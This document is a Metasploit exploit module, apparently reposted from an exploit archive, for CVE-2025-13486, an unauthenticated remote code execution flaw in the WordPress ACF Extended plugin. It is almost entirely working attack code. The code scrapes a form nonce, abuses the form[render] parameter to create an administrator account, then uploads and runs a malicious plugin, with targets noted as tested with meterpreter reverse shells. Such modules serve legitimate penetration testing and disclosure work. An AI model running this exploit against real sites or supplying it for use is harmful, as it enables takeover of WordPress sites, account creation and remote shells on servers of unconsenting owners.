Share
## https://sploitus.com/exploit?id=PACKETSTORM:213140
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Wordpress
    
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress ACF Extended Unauthenticated RCE via prepare_form()',
            'Description' => %q{
              This module exploits an unauthenticated Remote Code Execution vulnerability in the
              Advanced Custom Fields: Extended (ACF Extended) WordPress plugin versions 0.9.0.5
              through 0.9.1.1. The vulnerability exists in the prepare_form() function of the
              acfe_module_form_front_render class, which accepts user-controlled input via the
              form[render] parameter and passes it directly to call_user_func_array() without
              proper sanitization.
    
              This exploit requires a WordPress page containing an ACF Extended form widget, which
              exposes the required nonce token in the page's JavaScript. The NONCE_PAGE option
              must be set to the path of such a page.
    
              Once an administrator account is created via wp_insert_user(), the module uploads
              and executes a malicious plugin to achieve remote code execution (RCE).
            },
            'Author' => [
              'Marcin Dudek (dudekmar) - CERT.PL', # Vulnerability discovery
              'Valentin Lobstein <chocapikk@leakix.net>' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-13486'],
              ['URL', 'https://www.wordfence.com/blog/2025/12/100000-wordpress-sites-affected-by-remote-code-execution-vulnerability-in-advanced-custom-fields-extended-wordpress-plugin/']
            ],
            'Platform' => %w[php unix linux win],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'DisclosureDate' => '2025-12-02',
            'DefaultTarget' => 0,
            'Privileged' => false,
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('NONCE_PAGE', [true, 'Path to page containing ACF Extended form widget', '']),
          OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
          OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
          OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
        ])
      end
    
      def check
        return CheckCode::Unknown unless wordpress_and_online?
    
        plugin_check = check_plugin_version_from_readme('acf-extended', '0.9.2', '0.9.0.5')
        return plugin_check if plugin_check == CheckCode::Safe
    
        @nonce = find_nonce
        return CheckCode::Unknown('Could not find nonce on specified page') unless @nonce
    
        CheckCode::Appears
      end
    
      def exploit
        unless wordpress_and_online?
          fail_with(Failure::NotFound, 'The target does not appear to be using WordPress')
        end
    
        admin_cookie = create_admin_user
        upload_and_execute_payload(admin_cookie)
      end
    
      def ensure_nonce
        return if @nonce
    
        @nonce = find_nonce
        fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
      end
    
      def find_nonce
        nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
        res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
        return nil unless res&.code == 200 && res.body =~ /"nonce":"([a-f0-9]+)"/i
    
        Regexp.last_match(1).tap { |n| vprint_status("Found nonce in JavaScript: #{n}") }
      end
    
      def send_exploit_request
        ensure_nonce
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => wordpress_url_admin_ajax,
          'vars_post' => {
            'action' => 'acfe/form/render_form_ajax',
            'nonce' => @nonce,
            'form[render]' => 'wp_insert_user',
            'form[user_login]' => datastore['USERNAME'],
            'form[user_email]' => datastore['EMAIL'],
            'form[user_pass]' => datastore['PASSWORD'],
            'form[role]' => 'administrator'
          }
        )
      end
    
      def create_admin_user
        res = send_exploit_request
        fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.') unless res&.code == 200
        fail_with(Failure::UnexpectedReply, 'Unexpected response from exploit request.') unless res.body =~ %r{</div>\s*\d+\s*</div>}
    
        print_good('Administrator account created successfully')
    
        cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
        fail_with(Failure::UnexpectedReply, 'Failed to log in to WordPress admin.') unless cookie
        cookie
      end
    
      def upload_and_execute_payload(admin_cookie)
        plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
        payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
    
        zip = generate_plugin(plugin_name, payload_name)
        unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
          fail_with(Failure::UnexpectedReply, 'Failed to upload the payload')
        end
    
        register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
        register_dir_for_cleanup("../#{plugin_name}")
    
        payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
        send_request_cgi('uri' => payload_uri, 'method' => 'GET')
      end
    end